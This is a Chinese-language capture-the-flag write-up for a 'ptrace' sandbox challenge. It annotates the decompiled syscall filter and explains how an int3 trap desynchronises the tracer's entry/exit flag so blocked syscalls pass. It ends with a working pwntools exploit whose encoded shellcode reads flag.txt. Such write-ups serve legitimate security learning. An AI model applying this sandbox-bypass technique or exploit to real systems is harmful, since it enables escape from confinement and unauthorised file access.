Ptrace
二进制文件保护全开,使用了ptrace限制了可以使用的系统调用,具体的限制可以在main函数中看到:
main函数:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__pid_t v3; // eax
__pid_t v4; // eax
unsigned int v6; // ebx
char v7; // bp
const char *v8; // rsi
int stat_loc; // [rsp+Ch] [rbp-10Ch]
char v10; // [rsp+10h] [rbp-108h]
__int128 v11; // [rsp+70h] [rbp-A8h]
__int128 v12; // [rsp+80h] [rbp-98h]
unsigned __int64 v13; // [rsp+E8h] [rbp-30h]
v13 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("************* Try to get flag in my ptrace sandbox! *************");
puts("* Give me your shellcode:");
v3 = fork();
if ( v3 < 0 )
{
v8 = "Fork error with code %d!\n";
__errno_location();
goto LABEL_24;
}
// 父进程中执行的内容
if ( v3 )
{
v6 = v3;
alarm(0x10u);
// wait 设置只等待v6的子进程,
// 第三个参数设置为 WNOHANG 则可以使调用者不阻塞,当前为阻塞父进程,等待子进程退出
waitpid(v6, &stat_loc, 0); // waitpid 的时候会被阻塞,当子进程(目标进程)的执行被暂停或者子进程终止的时候,
// waitpid 函数会返回,然后同时获得子进程(目标进程)的一些 status
v7 = 0;
v8 = "Wrong signal %#x recieved!\n";
if ( stat_loc != 4991 )
{
LABEL_24:
__printf_chk(1LL, v8);
exit(-1);
}
while ( 1 )
{
while ( 1 )
{
/*
形式:ptrace(PTRACE_SYS, pid, 0, signal)
描述:继续执行。pid表示被跟踪的子进程,signal为0则忽略引起调试进程中止的信号,若不为0则继续处理信号signal。
与PTRACE_CONT不同的是进行系统调用跟踪。在被跟踪进程继续运行直到调用系统调用开始或结束时,被跟踪进程被中止,并通知父进程。
PTRACE_SYSCALL 主要是便于在进入和退出syscall的时候检测syscall的参数等
*/
if ( ptrace(PTRACE_SYSCALL, v6, 0LL, 0LL) ) //重新运行子进程。
{
__errno_location();
v8 = "PTRACE_SYSCALL error with code %d!\n";
goto LABEL_24;
}
waitpid(v6, &stat_loc, 0); // 阻塞的时候翻转v7,认为处理完了return
if ( BYTE1(stat_loc) == 11 )
goto LABEL_22;
if ( (_BYTE)stat_loc != 127 )
{
puts("Take too long time!");
exit(-1);
}
if ( !v7 ) // 第一次会break,也就是说为0的话会break,进入ptrace过滤的部分
break;
v7 = 0;
}
if ( ptrace(PTRACE_GETREGS, v6, 0LL, &v10) )
goto LABEL_22;
if ( *((_QWORD *)&v12 + 1) != 9LL )
{
if ( *((_QWORD *)&v12 + 1) <= 9uLL )
{
if ( *((_QWORD *)&v12 + 1) <= 1uLL )
goto LABEL_19;
}
// 37是kill
else if ( *((_QWORD *)&v12 + 1) == 60LL || *((_QWORD *)&v12 + 1) == 231LL || *((_QWORD *)&v12 + 1) == 37LL )
{
goto LABEL_19;
}
// 不满足过滤则将
__printf_chk(1LL, "Block syscall %lld\n");
// 注意这里是long long 类型的128位,也就是说会重置系统调用号为0
v11 = 0LL;
v12 = 0LL;
// 如果出错就kill掉子进程
if ( ptrace(PTRACE_SETREGS, v6, 0LL, &v10) )
{
LABEL_22:
// kill 掉子进程
kill(v6, 9);
return 0LL;
}
},
LABEL_19:
v7 = 1; // 在while循环中, 记录使用系统调用进入还是返回,为0则是进入
}
}
// 本进程被其父进程所跟踪,此时程序不能被调试
ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL);
v4 = getpid();
// 获取子进程pid,并发送信号将其stop掉
if ( kill(v4, 19) < 0 )
{
v8 = "Kill error with code %d!\n";
__errno_location();
goto LABEL_24;
}
sub_DF0();
return 0LL;
}
// 子进程阻塞 kill(v4,19)
// waitpid 返回
// ptrace syscall 继续执行
//
题目分析
ptrace沙箱绕过题目,主要考察的知识点在于对ptrace和waitpid、阻塞和进程的相关概念:
-
ptrace(PTRACE_SYS, pid, 0, signal)
在被跟踪进程中继续运行,直到调用系统调用开始或结束时,被跟踪进程被暂停,并通知父进程(被跟踪进程收到任何信号(除SIGKILL)都会停止,将信号转给跟踪器(触发wait))。 - waitpid函数,调用waitpid 设置相应的参数时候当前进程会被阻塞,当子进程(目标进程)的执行被暂停或者子进程终止的时候,会继续执行
PTRACE_SYSCALL, PTRACE_SINGLESTEP
Restart the stopped tracee as for PTRACE_CONT, but arrange for
the tracee to be stopped at the next entry to or exit from a
system call, or after execution of a single instruction,
respectively. (The tracee will also, as usual, be stopped
upon receipt of a signal.) From the tracer's perspective, the
tracee will appear to have been stopped by receipt of a SIG‐
TRAP. So, for PTRACE_SYSCALL, for example, the idea is to
inspect the arguments to the system call at the first stop,
then do another PTRACE_SYSCALL and inspect the return value of
the system call at the second stop. The data argument is
treated as for PTRACE_CONT. (addr is ignored.)
程序的执行流程:
- 父进程开始执行 调用fork fork出子进程
- 在fork出的子进程中,调用
ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL);
此时程序不能被调试,然后调用kill(getpid(),19),向父进程发送一个sigstop信号量 - 父进程中调用ptrace重新运行子进程并再次使用waitpid阻塞,等待子进程执行系统调用时候发来的信号传输到waitpid函数中的status,进行系统调用的过滤
Ptrace沙箱绕过
- 根据ptrace_syscall的特性,当进入系统调用和退出系统调用的时候都会发出信号
- 因此设置了V7作为判断是进入还是退出系统调用的flag
- 只有在进入的时候会break出第一个循环,然后进行后续的filter
- 如果我们能够翻转该flag
- 将进程进入的时候认为是退出,则此时不会对系统调用进行过滤
- waitpid是阻塞当前进程,等待接收子进程的信号,因此如果单独给父进程发送一个信号量,但是不执行任何系统调用,比如连续发送两个软中断,第一次会设置为1,则第二次会进入前边一个while循环中出不来。类似如下伪代码:
flag = False
while(1){
ptrace_syscall;
waitpid()
if (!flag){
//filter
flag = True
} else{
flag = False
}
}
本来syscall的进入和退出都是一对的,现在我先使用软中断进入filter进行判断,会把其设置成True,然后再使用系统调用,此时会认为是退出状态不做filter检测,这样就绕过了ptrace的沙箱。
user_regs_struct结构
struct user_regs_struct
{
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx; // v11 bp-0xA8
unsigned long rdx;
unsigned long rsi; // v12 bp-0x98
unsigned long rdi; // v12 + 1
unsigned long orig_rax;
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
unsigned long fs_base;
unsigned long gs_base;
unsigned long ds;
unsigned long es;
unsigned long fs;
unsigned long gs;
};
其中几个比较关键的系统调用号是:
64位
read 0
write 1
mmap 9
alarm 37
exit 60
exit_group 231
linux信号值
/*
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR
31) SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3
38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8
43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7
58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2
63) SIGRTMAX-1 64) SIGRTMAX
19是一种以编程方式发送的信号
20通常由用户在键盘上输入,通常是Control- Z
*/
exp
from pwn import *
import pwnlib.shellcraft as sc
import re
p = process("./ptrace")
# p = remote("124.16.75.161",40027)
# e = ELF("./ptrace")
context(os='linux',arch='amd64',log_level="debug")
p.recv()
# sub = subprocess.Popen('./a.out', shell=True, stdout=subprocess.PIPE)
# stdout_value, stderr_value = sub.communicate("")
# rand = hex(long(stdout_value))
# rand = '0x'+ rand[-2:]
shellcode = "int 3" + shellcraft.pushstr('flag.txt') + '''
/* open(file='rsp', oflag=0, mode=0) */
mov rdi, rsp
xor rdx, rdx /* 0 */
xor rsi, rsi /* 0 */
/* call open() */
xor rax, rax
mov rax, 2
syscall
'''
shellcode += shellcraft.read('rax', 'rsp', 100) + shellcraft.write(1, 'rsp', 100)
shellcode = asm(shellcode)
zz = [1362961854,247196614,490125681,1821600200,663564497,851120067,1032144666,379292314,1095058085,1072414002,1888930265,978602442,1608555725,1664343457,870446574,1268151209,2053709597,1366143462,231284293,1415307182,1465670779,837932423,1030255982,1781959270,895163495,37728456,1283394886,469644965,688851060,1682402631,229957252,2049414308,1291994784,1992507776,688956118,226408322,49344032,1800899526,791535526,142367739,1892858414,1307242697,1807587550,910536308,1345687993,953676466,1779722827,281042229,1340324363,1174770966,804946825,1668132063,963870702,1164701926,625574920,1010116308,1485186114,1761929928,1901922127,1172987537,1449925971,1905297130,593023617,1540316970,1505255699,919045247,1860036268,2070206155,1403270174,2024796635,1892980531,59657309,959921715,128124634,1972193458,1938477893,1317047840,34318572,821474829,2036975011,705273836,1383993873,457403247,402076421,916748998,282641729,483065148,297518637,605998316,978532050,309233502,959636726,99034040,481924634,528820998,790901367,2144193867,671118927,1299290218,1368554978,1280000476,357897170,167543300,1623621630,1817655156,879694493,944437394,2145269023,940377955,848445600,61506113,1646104576,1072522491,686871809,969460914,398741033,1981453843,167465173,768013411,980757823,1316569438,1935448114,961625806,1194025819,644553929,926774545,341415078,1879767336,776970574,1885219929,41713222,1858825750,89488815,936052574,1427306202,1719954367,636657464,737720420,2147160099,747390845,435971577,861670743,274394288,1069574069,521360469,1131442580,872786314,902885566,1750850912,789121164,1498808623,802052233,1028569692,604674240,75727781,1972481147,861117572,1213365950,783695074,2017070565,1621527342,1778538365,216805847,220145187,1098805999,735518618,1789953718,1370763541,1299911471,1756732357,629145292,1149289289,97588940,1555220137,1971651762,109708753,27729547,1933357444,1204563881,1154652377,1505032005,786795029,1652129219,333460683,1733406473,808585345,649082139,340108261,568056818,268547135,715728064,1486581793,611413940,1474951710,854920347,1753724704,946445367,220736611,1690927419,2029395227,1894124833,8618821,1911736714,1452167676,235359367,1604291655,511503689,2135153157,1686239344,1039204264,988361227,2035539688,1836681875,1821186041,538190961,1269720287,1319489379,1127563246,1799742757,449221432,1343628171,185195278,2124480171,1242240284,1278110168,397434096,1377167671,411865622,898691269,304775446,389009796,341395413,1114953687,1703133473,628683623,421441278,190350882,918256405,235659002,967989454,1970683595,1139382834,1282014684,377366126,886959811,1505937094,1583319761,510865933,1229180250,922122211,1807801867,1348791205,1875398431,10646886,742734601,1636708284]
payload = ""
for i in range(256):
if i < len(shellcode):
if ord(shellcode[i]) - int(hex(zz[i])[-2:], 16) < 0:
payload += chr(ord(shellcode[i]) - int(hex(zz[i])[-2:], 16) + 256)
else:
payload += chr(ord(shellcode[i]) - int(hex(zz[i])[-2:], 16))
else:
if ord('\x90') - int(hex(zz[i])[-2:], 16) < 0:
payload += chr(ord('\x90') - int(hex(zz[i])[-2:], 16) + 256)
else:
payload += chr(ord('\x90') - int(hex(zz[i])[-2:], 16))
p.send(payload)
# p.send(shellcode+(100-len(shellcode))*'0x90')
p.interactive()
参数链接:
- wait和waitpid https://blog.csdn.net/rl529014/article/details/51307250
- linux manual